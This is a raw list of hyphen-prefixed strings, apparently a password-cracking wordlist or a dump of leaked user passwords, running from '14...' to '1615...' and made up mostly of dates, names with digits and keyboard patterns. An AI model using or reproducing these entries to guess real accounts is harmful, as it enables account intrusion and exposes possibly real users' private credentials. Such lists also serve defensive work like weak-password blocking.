-14isglass1 -14j11db05 -14jan2006 -14jan71 -14jan90 -14jb18 -14jd71 -14jerusalen14 -14jerusaolen14 -14jf614jf6 -14jlg2178 -14jrnz,hz2006 -14js5910 -14ju14645 -14july -14jun2006 -14june51 -14junepark -14jz820o -14kKgqT3ns -14kQqDQT -14karaoke -14kennyg -14killer14! -14klatschu -14ksk18 -14kucera -14ladyrams -14lamarina -14lena-marie2 -14lerchason -14lewis92 -14lili6448855 -14link -14lokuju -14love -14lpl,]] -14luck -14m06i03v -14m4f4k3r -14ma86 -14maart -14mafia -14mai85 -14maivseat -14maja -14mamakrch -14manas53k -14marins -14mars -14marz1932 -14marzo81 -14maschwai -14mat05n -14matrix0207 -14matt5545 -14matz-ee -14maxmille -14me14u -14megs -14meto -14mi713 -14mipapameama -14misiak14 -14mkck1961 -14mn3w -14mofa1988 -14mpoole -14mra23ss -14ms4t4n1c -14msn26842684 -14mst0p1d -14mydogwolf -14myth1987 -14narjoin -14nesprebo -14newj -14nibor0197 -14nico88 -14nj44fgt1 -14nnod5819 -14no261286 -14november -14novembre -14np1mp -14octember1967 -14odhpck -14omar09teamo -14p01d86 -14p621n582 -14pQfy -14pacemon79 -14paraleste -14parkcres -14peugeot -14php95 -14pingram1 -14play -14plokijmatou -14polen19 -14pt135b -14qrafzv -14quattordici -14r281 -14r28a -14rainyday1 -14rajmanni1 -14rceinper -14rina03 -14roberto -14s2EaF4 -14s4eza2po -14scRT38 -14schmuck14 -14sd452j -14sein -14selmir5 -14sep2003 -14settembre -14settembre80 -14sheepdaeth -14sheryl08 -14shit -14shos88 -14sonia783 -14sonja1 -14sonu -14spelitia -14ssdasreich -14sv2214 -14tarifa10 -14tdAN -14ten66 -14test88 -14tgSch3 -14theroad -14thmonkey -14thsstreet -14tlrdjm97 -14tnecniv01 -14todd -14tokiohotel -14tony! -14u14m -14u24me -14u24meok -14u2nv -14ubEgTz -14utzG -14v14v28h -14v451 -14valentine -14van23 -14vfq2003 -14vierzehn -14virgame69 -14volos88 -14votec007 -14vr06 -14wachewache -14wesl -14wodny07 -14woodroad -14wooldoor41 -14wordSS -14wp88 -14wsws -14xN2jY -14xb;f05 -14y5B60558 -14yearsna -14you14me -14youto -14yugioh -14zone -15 -15 8 1994m -15# -15*09/95 -15-nov-99 -15.02.1992jef -15.03.04. -15.12.87 -15.28.20 -15.februar -15.oktober2007 -15/06/92 -150 -1500 -150000 -15000000 -15001500 -150017 -15001aze -150025136 -15004787 -15006596 -150071986gog -150071986kms -150071988 -150078 -1500aa** -1500mais -1500ram -1501 -150100 -150107 -150111-126974 -15011102 -15011501mt -15011973 -15011974 -15011977k -15011978 -15011981 -15011982 -15011984 -15011985 -15011987dominik -15011990 -15011992 -15011997mamia -150131 -1501381049 -150150 -150155 -150156 -150156te -150157 -150161 -15017219 -150174 -150176 -150177 -150178 -150179 -15017d -150180 -150182 -150182FOX -150183 -150184 -150185 -150186 -150186+ -150187 -150188 -150189 -150190 -150191 -150192 -150192vladimir -150193 -150194 -1501berg -1501clb -1501douglas -1502 -150200 -150201 -150202 -150203 -150204 -150206 -150207 -150207fab -15021891 -15021914 -15021955 -15021966aA -15021974Linda -15021979 -15021983 -15021986 -15021988 -15021988srss -15021989 -15021991 -15021992 -15021993 -15021995 -15021995tige -15021997 -15022006 -150221 -15022223 -150229 -150230 -150231 -1502439 -1502460 -150259 -1502603505850 -1502604j -150263 -150268 -150272 -15027219 -150273 -150274 -150275 -150277 -150278 -150279 -150280 -150281 -150282 -150282p70317 -1502832222 -150283bsa -150284 -150285 -150286 -150287 -150288 -150289 -150290 -150291 -150292 -150293 -150294 -1502gute -1502mw -1503 -15030 -150300 -150302 -150308381 -150309 -150310lg -15031503 -15031507fc -15031956 -15031958 -15031959 -15031968 -15031970 -15031972 -15031972ALEKS -15031972LEKS -15031972LEKS2 -15031972LEKS2222 -15031972leks22 -15031984 -15031985 -15031985cl -15031988 -15031995tl -15031996JOSY -15032001 -150326 -150347 -15035023 -1503515j -150355 -15035735992225 -150367 -150371 -150372 -150374 -1503758501 -150377 -150378 -150378cnfhbrfirf -150378d60315 -150382 -150383 -150384 -150385 -150385250888 -150386 -150387 -150388 -150389 -150390 -150390l108 -150391 -150391505189 -150392 -150393 -150394 -150395 -150397 -1503he -1504 -150401 -150403 -1504030985 -150406 -150408 -15041971 -15041978 -15041980 -15041981 -15041983 -15041985 -15041986 -15041987 -15041990 -15041992 -15041994 -15042000 -15042008 -150425 -150428 -150431651 -15044 -15044040010 -15044kathi -150456 -1504581751 -150464 -150468 -150469vig -150471 -150473 -150475 -150475gil -15047636 -150477 -150478 -150479 -150481 -150482 -15048203 -150484 -150485 -150485Farmer -150486 -150486aa -150487 -150488 -150489 -150490 -150491 -150492 -150493 -150494 -150495ab -150499 -1504Aberdeen -1504eliros -1504jb -1504re -1504vit1965 -1505 -150500 -150502 -150505 -1505057 -150506ale -1505128 -15051882 -15051975 -15051979 -15051982 -15051984 -15051985matze -15051986 -15051987 -15051988 -15051992 -150519sav82 -150521 -150522 -150524 -1505319 -15054 -150556 -150559 -15055a -150561 -150562 -150570 -150571 -150573 -150573d61213 -150574 -150575 -150577 -150577m103 -150578 -150579 -150580 -150581 -1505815058 -150582 -150582e60513 -150584 -150585 -1505856902 -150586 -150587 -150588 -150589 -150590 -150591 -150592 -150592cec80 -150593 -150595 -150596 -1505972000 -1505bidou -1506 -15060111 -150602 -150604 -15060423501 -150607 -150612 -15061961 -15061965 -15061967 -15061974 -15061980 -15061986 -15061987 -15061988 -15061989 -15061992 -15061993an -150620 -1506200 -15062007 -15062007zz -150645me -150646 -150647voges -150651 -150655 -150663 -150664 -150666 -150669x -15067 -150673 -150675 -150679 -150680 -150681 -150682 -150684 -1506847368 -150685 -150686 -150687 -150688 -150689 -150690 -150691 -150692 -150692thai -150693 -150695 -1506cloud44 -1506ju -1507 -150702 -1507028 -150705sergei -1507084293 -15071952 -15071982 -15071984 -15071987 -15071988 -15071988* -15071991 -15071991dennis -15071994 -1507317 -15074042 -15074313rr -15075654 -150760 -150763miha -15076677 -150767 -150768 -150771 -150774kol -150777 -150778 -15078 -150781 -150782 -150782year -150783 -150784 -150785 -150786 -150786mf -150787 -1507870 -150788 -150789 -150790 -150791 -150792 -150793 -150794 -150797tian -150799 -150799s2 -1507dhruv -1507rase* -1508 -150807 -150809 -15081508 -150817 -15081941 -15081965 -15081966 -15081970 -15081972 -15081977 -15081980 -15081983 -15081984 -15081985 -15081988 -15081989 -15081990 -15081992 -15082000 -15082003 -15082005 -15083931277 -15085 -150853 -150856abc -15086254 -150863 -1508709rc -150873 -150876b -150878 -150880 -150882 -150883 -150884 -150885 -150885sevilla -150886 -150887 -150888 -150889 -150890 -150890_ -150891 -150891a -150892 -150893 -150895 -150898 -1508Jan -1508_ola -1508ave -1508cobra -1508dsx -1508mh61162 -1509 -150903 -150904 -150906 -15091952 -15091973 -15091974sergei -15091978 -15091983 -15091984 -15091987 -15091988 -15091989 -15091990j -15091991 -15091996 -15091999xerjnrf -15092006 -15092007 -15092222pr -150929 -150950 -150960 -150961 -15096711 -150970090384 -15097115947955 -15097129 -150976 -150977 -150978 -150979 -150981 -150982 -150983 -150984 -150985 -150986 -150987 -150987a04dl -150988 -150989 -150990 -150991 -150992 -150992118 -150993 -150995 -1509lou -150adisek -150bca -150fred -150grfmj -150omni -150pok -150spanks -150wpmpo2 -150yabev -151 -1510 -151000g -151001 -151005 -151006 -151007 -151008 -15100a -151012 -15101510 -15101817 -15101967 -15101972 -15101974 -15101977 -15101982 -15101983 -15101985 -15101987 -15101989 -15101990 -15101991 -15101992 -15101997 -15102 -15102001 -15102987XuT -151033 -1510412002 -1510460 -151048982 -151054 -15105843 -1510595729 -151061l10120 -151064 -151064gouchine -151070 -151073 -151074 -151078 -151080 -151081 -151081w41619 -151082 -151082a -151083 -151084 -151085 -151086 -151087 -1510871 -151087seb -151088 -151089 -151090 -151090555 -151090andrea -151091 -151092 -151092miksa -151093 -151094 -151098 -1510DREAm -1510anni -1510wil -1511 -151103 -151111 -15111972 -15111976 -15111983 -15111987 -15111988 -15111991 -15111992 -15111995 -151124042611 -1511251220 -1511424879 -15114526 -151151 -15115115 -15115681 -151171 -151173 -151175 -151179 -151180 -151182 -151183 -151184 -151185 -151185jp -151186 -151187 -151188 -151189 -151190 -151191 -151192 -151193 -151193kauan -151194 -1511987QQQ -1511gy80 -1511lol -1511nemo -1512 -151200 -151201lupita -1512042 -151206 -151207 -15121302433 -151215 -15121512 -15121976QWE -15121978 -15121981 -15121982 -15121982sam -15121983 -15121983Stepan -15121984 -1512198419 -15121985 -15121986 -15121988 -15121989 -15121990 -15121992 -15121993 -15121995 -15121998 -15122002 -15122007 -15122339hzr -15122816 -151234 -1512345 -151237 -15124353 -151251351 -151252 -151261aa151261 -151261krest -1512621cfif -1512625513 -15126285 -151264 -1512642sic -151268serg -151270just -151271 -151274x -151276 -15127780 -151279 -151280 -151280kycher -151280mw -151281 -151282 -151283 -151283hayastan -151284 -151285 -151286 -151287 -151288 -151289 -151290 -151291 -151292 -151293 -151294 -151295 -151296 -151297 -1512ik-an -1512sam -151311 -151326 -151342 -1513AK -1513roou -151402 -151412f96 -151415 -15141514 -1514323sol -1515 -15150 -1515001 -1515007132 -1515030254 -15151 -151512 -151515 -15151515 -1515151515 -15151515icarus -151515xx -151517223 -15151776221 -151519 -151521 -151527 -15153031 -1515486 -151551 -151555 -15156 -151564 -151580 -1515APPLE -1515jjg -1516 -1516*.nb-- -1516*.nbv- -1516*.nbvv -1516042656 -151610 -151613 -151614 -151615 -15161516 -151615161516o -151617 -15161718 -15161970 -151620041043 -151623 -151625 -1516271 -151662l -15167910z -15168 -15168aln -1516brett11 -1516macedo -1517 -15171304 -151716 -151718 -151720 -151729 -15174067773n -1517499 -151777nsvelfr -15178609 -151788 -151800 -151810 -151813 -151814 -15181518 -151820 -151821gb -151822 -15182547 -151827489 -1518552255 -151882 -1518854 -1518lefnnezn -1519 -151901 -15191 -151915 -151918 -151924 -15192420 -15193641nitrogen -1519391975 -151945slava -151948 -15195755807 -151960 -151965 -151972 -15197410024 -1519746vik -151980 -151983 -151984 -151985 -151986 -151987 -151988 -151989 -151990 -151991 -151992 -151993 -151994 -151996 -151fs -151john -151piru -151rum -151stratyre -152 -152-769445 -1520 -15202020 -152021 -152025 -152028 -152030 -1520309021 -152036 -152041 -152047002 -15205 -152080096max -152083 -1520843g00 -1520omit -1520yjlalex -1521 -152101k -152106006 -15211030 -15211521 -152115211521 -152118 -152119799 -152121314 -15212sg -152141 -152141ja -152141special -152152 -152183 -1521990 -1521aa -1521hird -1522 -15220022 -15220056 -152207 -152213 -152214605 -152219 -15221p -152225 -152226 -1522299183 -15223 -15224271 -1522556vaza -152256 -15225642 -15229703fbi -1523 -152300 -152305 -152315 -152316 -152317387 -152330 -15233333 -152364 -152366 -1523698 -152382 -15239724 -1523Honing -1523led -1524 -152400 -15241524 -152416 -152417 -15242918 -15243 -152436matrix -15243zafara -15246055 -152463987 -152478 -15247895 -15248 -152485 -1524858421 -1524rmfo -1525 -152505 -152511 -15251525 -152516 -15251721 -152522 -152525 -152526 -152533 -152535 -15253540 -15254112 -15255 -152563 -152567 -152570603 -152577 -152580 -152580ed -15258856 -152589a00 -1525952399 -1526 -15261526 -1526160951 -15261823 -15261rjkzy -15262715 -152633 -152634a! -152637 -1526374115263741 -15263748 -15263748pk -152637ch -15264215 -15265 -152652 -152682 -152684 -1526963 -15269izzy -1527 -152700 -152711 -152715 -152729 -15273 -152733 -152751 -152759 -1527nanapolitana -1528 -152812 -15281528 -152819jf -15282550 -1528640 -152898251 -1528br -1528ng33 -1529 -152907 -152925 -1529sun -152d2c47 -152jubby -152nouse -152oxf -1530 -153005 -15301 -15301963 -15302 -153020 -153022 -153022zx02 -1530257 -15302lepus -153045b -153055 -153064 -153070451 -153091 -1530sl -15310123 -15311531 -153117ae -1531359 -153153 -153153153 -153154jenna -153159384 -1532 -1532009 -153209 -15321 -15321532 -153224 -153246 -15324620 -15325244 -15325995 -153264 -1532818592 -153287 -15332034244511 -153325 -1533316 -153333 -15335125 -153376 -15338786MO -1533aa -1534 -1534125 -153426 -1534265 -15342basti -15343552748993 -1534477pass -15345351 -153456 -153456klO -15345904ZX -1534654 -153479 -153486 r -153486852 -1534986751 -1534eh -1534konkon -153510 -153516080241 -15351gn302 -15355 -153570 -15359575 -1535a4 -1536116971 -15361664 -153624 -153633 -1536542 -1536779 -1536redsun -1537 -1537101104 -153719def -15372029 -153721 -1537227351 -153728th -153759 -15375955 -153759l4682 -15376011 -15377 -153777 -153786 -15378896 -153800 -153801 -15381538 -1538449 -15388126 -15391_laura -1539231 -15396356 -1539E32! -153b6z212 -153c0e8f -153hx77amd -153pie -153vbnm -1540 -1540075613 -1540100054831 -15401905 -154021 -154086 -1540XX -1541.5 -154101 -15411541 -15411@1286 -15413 -154149 -15415 -154154 -1541654 -154166987 -154184999 -1541970471 -1541984 -1541994 -1542 -154203 -15421- -1542124 -15421632 -15423212 -1542356 -15423590 -154236 -154254 -154263 -15426378 -15426378dap -154298892451 -15431543 -15432891 -154348 -1543539ubuf -154388 -1543acdb -154404 -15441544 -15443144 -154433asd -154439123 -154455br -1544671932 -1544797170 -1544917 -1544f61e -1544imp2d -15450088 -15451346 -154523a -154528 -154531 -154565 -1545728353 -154582l -1546 -154664 -1546815 -154689 -1546fd -1546sherm -1547 -154756860 -154771pc -1547760 -154780615 -1547852 -154789 -15479Franz -1547ebrahim -154811165 -154816127 -1548408 -15485 -15486279 -15486372 -154872369 -154875 -154887 -1548934 -1548r4sg4f -1549232331 -1549488708 -154954 -15499 -154992 -154d8a -154pet -1550 -15501550 -155019642 -15502475 -15505717 -1550jur -1550terrell -1551 -1551029433 -1551055 -155107307 -155115 -15511551 -155117 -155120 -155127 -1551306102 -1551324945 -15513608 -155155 -155155jj -1551633 -1551674 -15519 -155196 -1551973 -1551985 -1551vbvb -1551xx -1552 -15520468 -155223 -15524357 -155249773 -155268 -155274 -1552dtd1998 -1553 -15531610 -155353 -155371 -1554 -155413088 -15541554 -15542554 -155429 -15545 -15547amber -1555074j -15551 -15551059mfm. -155532 -15553871 -15555 -155568 -15556814sxn -15565 -15566500 -155667 -155681 -155691 -15569298 -1556lol6551 -155700 -1557326220 -15573rmc -15574077 -155754Ca -15575956 -1558 -155812 -15581400 -15582zcy -155836 -155848 -15586 -15586977 -15587592 -1559 -155912 -15591559 -15591609 -155931 -1559312721 -15594948 -1559553976 -15596385 -155988 -155989 -155mmsp -156 -156000 -15600000wessi -1560171944 -1560398180 -156048557 -156082 -1560919 -1560geld -1561 -15610 -156110 -156154 -156156 -156156156 -156159321 -15616 -156161341s -156166 -156194803 -1561987thuhuong -1562.0ts -156201 -156215 -15621562 -156224 -1562284 -15623 -1562323 -15624*** -1563 -156321 -156322 -156324 -1563252 -156338e1 -15634910 -15636244 -1563720986 -156374 -15637b -15640617776c -1564117 -156423 -156431 -156433 -1564561 -15646043 -1564897 -15651565 -1565354 -156580552 -1566 -156601yus -156652 -156654 -156657zydfhm -156669823m -1567 -156702 -156739 -15678 -156780b -1567947 -1568 -156800 -1568372qwer -156845 -15684646 -156852 -156890 -1568ss -1569 -1569** -15690 -156915 -156918 -156927 -15693riley -15695224 -156954753 -156FEBCS -156alfa -156frankenste1n -156porki -156q456851 -156xxx -157009 -1570324hill -157065831094 -1570gr -1570qbaqba -1571 -157112 -157132533 -15713421 -1571472574 -157152022 -15715512 -157161157161 -157180 -157184gexa -157187 -157198593 -1571992 -1571ob -1572 -157200 -1572209437 -15724510nob -157343153 -1573433 -15734762 -15735 -157359 -1573642194 -1573732 -1573908264 -1573ac26 -1574 -1574124986 -15741574 -157456+92699 -157486159753 -1574875263 -1575 -1575027 -15751575 -157528 -1575400389 -157587411 -1575942 -1575gfirst -1576 -157603 -15763349 -1576343624 -1576509283 -157676 -15770309 -157703telmo -15771 -1577152194 -157729 -157751 -157751018 -15775312 -15779498 -1577da -1577ymzk -1578 -157806 -157815 -157821 -157839548 -157841009 -157842sec -15786152-2 -157878 -15788 -15789030 -157894621542a -1579100 -157954 -157963 -157998lon -1579Abmnl -1579KACW -1579Salcia179 -1579yk5n4 -157UYZer -157abcd3 -157bob -157er2a -157n72e -157noumea -158/29/91 -1580 -1580047843 -15800736 -15801201700 -158015 -158022 -15802m -15803ydo -158067760 -15806zossen -1580carole -1580fg -1580rptz2710 -1581143pizda -158133lu -158194 -1581959 -1581994 -1582 -15821582 -158228 -15824154 -158248 -158291985 -1582mat -15830687312 -1583123 -158336mtp -158358467519535 -158394 -1583g7i0 -1584 -15841584 -158462 -1584675 -158474 -158487 -1584918 -158492 -1584AMMG -15851 -15854880946 -158561784 -1586 -15862525 -1586424828 -1586583683 -15869768 -1586996822 -158701 -15870121 -158736 -15873646 -15875858 -158776 -15880az -15880azz -1588153818 -15882666 -158849 -1588802493 -15888397 -158889903 -15895 -15895006 -158975321 -158975a -15897731 -158blade -158landontra -159 -159*159* -159-+620.3 -159-753 -159..357 -159.753 -159/753 -1590 -159011 -159012305 -159024616203 -15903570 -15905053 -15905505 -159063 -1590708sasa -1590753 -1591 -1591014 -159123 -1591267303 -15913923123A -159147 -159153511 -159156123 -159159 -1591591414 -15915915 -159159159 -159159a -15915wax -15918r7 -1591987ABCd -15920 -159204 -1592087213 -15921ab -159234678 -15923742001 -15923910 -159243 -159258357456 -159263 -15926321 -159263748 -1592644 -159264837 -159265 -1592654 -159278 -159285 -159287346 -159298 -1593 -159321 -159321a -15932mo -1593377 -15935663636 -159357 -159357-smn -1593570 -15935700 -15935713 -159357159 -159357159357 -15935722 -15935725 -159357258 -1593572684 -15935728 -15935745 -159357456 -159357456852uni -1593574628 -1593574628+ -15935748 -15935755 -1593578 -1593578246 -15935785 -159357852 -15935785oral -15935788 -15935789 -1593578951 -1593578963 -159357Rikke -159357az -159357cd -159357dc- -159357fer -159357gh -159357juni -159357m -159357neto -159357nick -159358 -15935889683 -15935bar -159363 -159369 -159372486 -159389 -15939323 -1593ap -1594 -15940794 -15941594 -159416434 -15942504183q -15942588300a -15943048673 -159456 -159464 -159465285 -159480971 -159487 -159487263 -15948753 -15949 -1595 -159500 -15951 -159510 -15951159 -1595147 -15951595 -159525 -1595614710 -15958054503 -1595913537448 -1595church -1596 -159600 -15963 -159632 -1596320 -1596321 -15963210 -15963214 -159632147 -159632147abc -1596321dri -1596324780 -159633 -159635741 -159635741alphanu -159637465 -159654 -159654ds -15966289931 -15966672 -15968 -1596820 -159682bjk -15968396 -159696600 -1597 -1597/b* -1597146957 -15971597 -159731 -159732486 -159736482 -159736842 -1597384620 -159741 -1597513654321 -159753 -159753* -159753-+ -159753-456 -1597530 -15975300 -15975312 -159753123 -159753131292 -15975315 -159753159 -159753159753 -1597531991 -15975321 -1597532486 -159753258 -159753258456 -159753258acht -1597532684 -15975328 -1597532846 -1597532pol -15975330331379 -159753321789 -15975345 -159753456 -159753456852 -15975346 -1597534862 -1597535 -15975350 -15975354682 -15975355 -15975355k -15975357qwertyq -15975369 -159753741236 -15975378963214 -15975379 -1597538246 -159753852 -159753852456 -159753B -159753ab -159753abC -159753azerty -159753epifan -159753m -159753mookh -159753ok -159763damian -159764 -15978 -1597831 -1597863214 -159789 -159789alex -1597tits -1598 -15981271189 -15981jens -15982 -1598234715982347 -159847 -159852 -159852ab -159852danon -159859 -15985sub -159863 -15987 -15987147011 -159873 -159874 -1598741 -15987412 -159874236 -1598742360 -159874623 -159874a -159874g -1598753 -15987530 -15987532 -159875321 -15987532SANYA -1598753654 -1598755 -15987JJ10 -15987cooke -15987leros -1599 -159907 -159951 -1599510 -159951125 -15995147 -159951IIA -159951az -159951kenan -159955 -159963 -159987753max -1599rj -159S957S75 -159Trumper -159ab01c -159aetuo -159ago820 -159azerty -159bet357 -159br753am -159cav352 -159corsa41 -159euamo -159f157d -159ff309 -159horn -159mala78 -159osim159 -159swnera -159wytu -159zai -15@$def23 -15BIggi70 -15Baller -15DAMA6474 -15DominA -15F29S37N -15F9dragon -15GGG5t -15Gukhzs -15Hannah0985 -15Iodide11 -15Jennifer189 -15K5tH -15KRI07re -15LeM@n -15MAYO1983 -15Oct-10yta -15OstePopp0 -15PZS8O -15QEUJ0 -15Rhym3T1m3 -15S -15Sasching -15Serikov30 -15SkyBlue -15Stui2003 -15Timmy61 -15WOW2009 -15Wolf12 -15Worms21 -15X1nder73 -15Xurmel3 -15Y09V80 -15Z5H.! -15a04d73 -15a3304 -15a5mma -15a73efcbb -15a969f -15aebcb9 -15af05 -15alaaddino -15alex58 -15alonia59 -15ambear -15amorcarlos -15ano8441 -15antonia09 -15as2f6g -15at15 -15atzebb -15augst -15ax12n! -15b.kz1980 -15batanman1 -15becky -15bira -15blaakway -15bluna15 -15bmMoF -15bmpankow -15boelia15 -15bofison -15bv2cuao88wyl -15c3c1cf -15c8cb29 -15carloves -15cats -15chri0413x -15cillenlat -15corsa60 -15crebl# -15cs1010220 -15cthulhu -15ctynz,hz2001 -15cuarto -15d00dz123 -15d1ccbf -15d3d15D3D -15dacu76 -15damien -15dbycop76 -15dec1979zima -15deerob0187 -15dejunho -15dogy1122 -15ds9ae7 -15e06e99 -15e4q1df -15eas6fore -15eciov75 -15ee5976 -15elliot -15elo05# -15extropy1 -15faint07 -15felixJA!% -15femmefatal27 -15fj5W -15franzi07 -15franzi1987 -15gbpljkbp33 -15gelia54 -15giu83 -15glofre18 -15grease90 -15gudfadern1 -15gwapokid -15hardflip -15hirnhaut12 -15ic46 -15icemupfel -15ikh96 -15ilovemeg -15j03c55s -15j1e9a6n0 -15j9My4 -15jabuzar1 -15jesien -15jimmi -15joadal26 -15ju87 -15jul1958 -15juli06 -15juliette1981 -15junho73 -15jw21jw -15k11e19y89 -15k47wu5bb -15kaiserau2 -15kannibale100 -15kgdesert -15kiama44 -15komet40 -15koza15 -15l1nk1np4rk -15lap200 -15lederhose -15liek07 -15lip83 -15llEW7O -15lode4258 -15luglio1988 -15lx95 -15ly56mp -15lyon69 -15macioslaw -15mai92 -15maj51 -15mar96 -15marca123456 -15mars60 -15marsr&d -15mart -15marzo1959 -15maus076 -15may1989 -15mcshn57 -15mgaz91 -15michelle1987 -15ndc1977 -15neisha -15nelsonsli -15nfekshun -15nicolas69007 -15nnmFvr -15nzf1 -15oct03 -15octobre1988 -15ofjune -15orion8 -15panis07 -15paper37 -15per15 -15pharma -15picky2428 -15pitbeamer -15pjds2000 -15pooh -15q9Bjs5 -15queequ33g -15r01201s -15ranwood -15rc71 -15rce28ten -15rixhi6y -15s1ru7m -15sasha06 -15sausages -15se68 -15serenity2507 -15silvadimitrova -15slicks123 -15snowmanguy -15sonobello -15spechali -15srShZ -15ssmokin1 -15strahlemann99 -15t7689 -15tall -15taolei88 -15tenseatia -15teofilus93 -15tera10 -15thejothe -15tiaatno -15tim42080 -15tiopennes -15tissfui2 -15trabanten92 -15tsroh39 -15ubbo84 -15v01j19q87 -15vA3Xl -15vfz051976 -15vivit15 -15vlEU3788 -15walther88 -15wb1080 -15webogu -15whsealer -15wlsmib51 -15wolf12 -15wolvetcil -15worm1003 -15writer -15x33zm -15years -15yjz,hm -15zHfLzBS -15zXPEj -15zabizabi1 -15zoodiax -15zorro -16 -16! -16*01- -16+03+89 -16+04+08 -16,07,88 -16,11,1972 -16-sep -16.09.58su -16.11.1994 -16.40.5a -16.s00geheim -16/08/1990 -16/09/89 -16/48dd -160 -1600 -160000 -160006367 -1600110cv -160023 -1600366int -160091971 -1600X1200 -1600ryan -1600vts -1600x1200 -1601 -1601004 -16011443655949 -16011950fia -16011978 -16011981 -16011982 -16011987deskjet -16011990 -16011993 -16011994 -1601199612 -16012003test -160121 -16012603wm -16016 -160160.6 -160162-7 -160163 -160166 -160175 -160175navia -160178 -160179 -160179160179 -160180b20715 -160181 -160183 -160184 -160185 -160186 -160187 -16018747 -160188 -160189 -160190 -160191 -160192 -160193 -160195 -160195957 -160196 -160199 -1601fftmwest -1601james -1602 -160200 -160202 -160202jo -160205 -160207 -16021910 -16021967 -16021968 -16021971 -16021973 -16021979 -16021980a -16021981 -16021981mikle -16021982 -16021983 -16021987 -16021989 -16021991ian -16021992 -16021995 -16021995cj -16022003 -16022006 -160238178 -160247 -160257 -1602573752 -1602607454 -160262 -160265 -160269 -160270 -160272 -160273 -160274 -160275 -160278-vs -160279 -160280 -160283 -160284 -160285 -160286 -160287 -160287xz -160288 -1602886 -160289 -160290 -160291 -160291da -160292 -160293 -16029384 -160294 -1602989 -1602gt -1603 -16030000 -160304 -160305 -160312 -1603195507041955 -16031972 -16031974 -16031979 -16031982 -16031986 -16031987 -16031987Crazy! -16031988 -16031989 -16031991z -16031992 -16031993 -16031995 -16034aguma -160358kojote -160362 -16036299 -16036314qwas -160368 -160372k72115 -160373mg -160375erfg -160376 -16037702zx -160379 -160381 -1603812kxb -160383vd -160384 -160385 -160386 -160387 -160388 -160388ttg -160389 -160389hr -160390 -160391 -160392 -160393 -160394 -160395 -160398 -1603reva -1604 -160401af -160409 -16041224-0 -16041489 -16041604 -16041703 -1604178 -16041907 -16041963 -16041967 -16041973qwert -16041975 -16041980 -16041981 -16041984 -16041985 -16041986 -16041987 -16041987mn -160419884186 -16041989ms -160419940529 -16041994r -16042002 -16042005 -160439 -160453 -160458 -160458as -160462tg -160468 -160469 -16047 -160471 -160475 -160478 -160479 -16048 -160480 -160481 -160482 -160484 -160485 -160486 -160487 -160488 -160488php -160489 -160490 -160491 -16049116 -160492 -160493 -160494 -160497 -160498 -160499 -1604cwn -1604ms1575 -1605 -160500 -16050812 -16051971 -16051971crs -16051982 -16051983 -16051986 -1605198701CHOU -16051988 -16051989 -16051992goku -16052009g -16052415 -1605528LPG -160558 -160559 -160564 -160570 -160570160570 -160572 -160574 -160575 -160577 -160578 -160579 -160580 -160581ij -160583mbcb -160584 -160585 -160585tgggg -160586 -160587 -160587cw -160588 -160589 -160590 -160591 -160592 -160593 -160594 -160595 -1605ac -1606 -160600 -160602 -16060530 -160606 -160608 -16061606 -16061975 -16061979 -16061984 -16061987 -16061988 -16061990 -16061991 -16061991jawor -16061994 -16061996 -160620c -16062532 -16063kasel -160650mm -160655 -160657 -16066 -160663 -16066312 -160664 -160668 -160672 -160674 -160675 -160676 -160678 -160679 -160679bz -160682 -160683 -160684 -160685 -160686 -160686sab -160687 -16068712 -160688 -160689 -160690 -160691 -160692 -160693 -160694 -160696 -160698 -1606baer -1606bw1975 -1607 -160706 -160707 -1607070 -1607070sco -16071302 -160714885 -16071963 -16071964 -16071972 -16071976mo -16071986 -16071987 -16071993 -16072003 -16072005 -160753 -160767 -16076848158 -160769 -160770 -160770mi -160773 -160774 -160776 -160777 -160780 -1607802026 -160781 -160782 -160783 -160784 -16078484 -160784s -160785 -160786 -160787 -160788 -160788... -160789 -160790 -160791 -160792 -160793 -160793arthur -160794 -160799 -1607du -1607kk -1607sk78 -1608 -160801 -16080769dead -1608077471219 -160809150 -16081004 -160815wolli -16081608 -160819 -16081941 -16081967 -16081973 -16081978 -16081983 -16081983ania -16081985as -16081986 -16081987 -16081988 -16081989 -16081990 -16081991 -16081992 -16081994 -16081997 -16082 -16082001 -160829 -16082979755 -160838 -160847 -160855 -160858 -160864 -160867 -160869 -160872 -160876 -160877 -160878 -160880 -160882kaptan -160883 -16088382 -160884 -16088416 -160884s21380 -160885 -160886 -160887 -160888 -160889 -160890 -160891 -160892 -1608922892439 -160893 -160893adnan -160896 -1608ld -1608mfx -1608wyvern -1609 -160901 -160905 -160906 -16091958 -16091964 -16091973 -16091977 -16091982kostik -16091986 -16091987katja -16091988 -16091989 -16091990 -16095685073 -160957moan -160961 -160963 -160964se -160965 -160969 -16097054sema -160972 -160973 -160974 -160976 -16097624 -1609790hjkf -160980 -160983 -160984 -160985 -160985mp -160986 -160987 -160988 -160989 -160990 -160990E -160991 -160992 -160993 -160994 -1609978silic -160997dominik -1609jasmin04 -160Ei3W -160Pseinfeld -160d58cc -160dim7624 -160t8168 -160t98t866t -160tarpe30 -160wattcrx -1610 -16100000 -161002 -161004 -16101610 -16101912 -16101977 -16101982 -16101983 -16101987 -16101990 -16101991 -16101992 -16101993 -16101999 -161020 -16102408096 -1610416 -161068vlad -161072 -161073 -161075 -161076 -161077 -1610778159 -161078f40211 -161078pipi -161079 -16108 -161080 -161081 -161082 -161083 -161084 -161085 -161086 -161087 -161088 -161089 -161090 -161091 -161092 -161093 -161096 -161098 -161099 -1610@68123 -1610borzoi -1610gls -1610nbt01317 -1610pa -1610th85 -1611 -161100 -16110428 -16110502 -161106 -161109 -161111985 -161116 -16111966p -16111978aral -16111982 -16111986 -16112002 -16112003 -161144 -161155 -161160 -161161 -1611684500us -161177 -161179 -161180 -1611802689 -161181 -161181m60410 -161182 -161184 -161185 -161185nevernyj -161186 -161187 -161188 -161188sc -161189 -161190 -161191 -161192 -1611927884 -161193 -161194 -161199Benjamin -1611GMOLE -1611gspr -1611nazawsze -1611paco48 -1611teha67 -1612 -161200 -161203 -161206 -161207 -16121014m -16121014mfg -161216 -16121612 -161217 -161219 -16121969 -16121975db -16121976 -16121979 -16121980 -16121984treff -16121985 -16121986 -16121987 -16121988 -16121989 -16121991 -16122 -16122002 -16122004 -16122008;web -161228 -161229 -16124023 -161259 -161262 -161264 -161275 -161279 -161280 -161281 -161281eilenburg -161282 -1612821565 -161284 -161285 -161286 -161287 -161288 -161288nia -161289 -161290 -161290an -161290ccs -161291 -161292 -161292703as -161293 -161293rick -161294 -161294g -161295 -1612dn -1613 -16130033 -161301 -16131613 -16132331450 -1613355dfb -161371 -161390 -1614 -161410 -16141230 -161415 -161416 -1614244e -16148788cv -1614940816 -1615 -16151192 